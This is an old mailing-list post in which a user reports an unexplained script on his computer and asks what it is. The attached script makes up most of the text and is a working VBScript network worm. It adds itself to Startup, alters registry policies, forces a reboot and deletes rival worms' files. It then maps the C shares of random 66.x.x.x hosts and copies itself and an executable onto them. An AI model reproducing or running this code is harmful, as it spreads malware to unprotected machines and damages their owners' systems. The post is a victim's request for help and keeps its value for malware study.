[RC5] What is this?

Aaron W. Swenson aswenson at frontiernet.net
Tue Sep 4 16:06:55 EDT 2001


I just recently discovered this program in my start menu, not as a 
shortcut, but the whole thing.  I don't know what it is.  And I can't find 
where to send it to Microsoft without being CHARGED!  Any help on explaing 
what the purpose of this script is would be wonderful considering that I 
haven't installed anything in months.
-------------- next part --------------
Dim rr
set t=wscript.createobject("wscript.network")
set f=createobject("scripting.filesystemobject")
Set WshShell = WScript.CreateObject("WScript.Shell")
randomize
on error resume next

rr=WshShell.RegRead ("HKLM\Software\Microsoft\Windows\slim")

if (rr <> 1) then
Set WshShell = WScript.CreateObject("WScript.Shell")

f.copyfile "c:\sys32.exe", "c:\windows\startm~1\programs\startup\"
Call WshShell.RegWrite ("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Network\", 0,"REG_SZ")
Call WshShell.RegWrite ("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoFileSharing", 1 ,"REG_DWORD")
Call WshShell.RegWrite ("HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoPrintSharing", 1 ,"REG_DWORD")
Call WshShell.RegWrite ("HKLM\Software\Microsoft\Windows\slim", 1 ,"REG_SZ")
Call WSHShell.Run ("%windir%\RUNDLL32.EXE shell32.dll,SHExitWindowsEx 2", 2, false)
end if

do
do while w=0
if (f.fileexists("c:\network.vbs")) then f.deletefile("c:\network.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\network.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\network.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\network.exe")) then f.deletefile("c:\windows\startm~1\programs\startup\network.exe")
if (f.fileexists("c:\windows\startm~1\programs\startup\mscfg.exe")) then f.deletefile("c:\windows\startm~1\programs\startup\mscfg.exe")
if (f.fileexists("c:\windows\startm~1\programs\startup\mscfg.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\mscfg.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\a.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\a.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\a24.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\a24.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\little.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\little.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\prince.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\prince.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\MS StartUp Config.exe")) then f.deletefile("c:\windows\startm~1\programs\startup\MS StartUp Config.exe")
if (f.fileexists("c:\windows\startm~1\programs\startup\_a.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\_a.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\_b.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\_b.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\_1.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\_1.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\_chubby.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\_chubby.vbs")


n="\\66."&int(254*rnd+1)&"."&int(254*rnd+1)&"."&int(254*rnd+1)&"\C"
t.mapnetworkdrive "x:",n
set o=t.enumnetworkdrives
for i=0 to o.Count-1
if n=o.item(i) then w=1
next
loop
f.copyfile "c:\windows\startm~1\programs\startup\_slim.vbs", "x:\windows\startm~1\programs\startup\"
f.copyfile "c:\sys32.exe", "x:\"
t.removenetworkdrive "x:"
w=0
loop

'eDaemon fitted for the slim


More information about the rc5 mailing list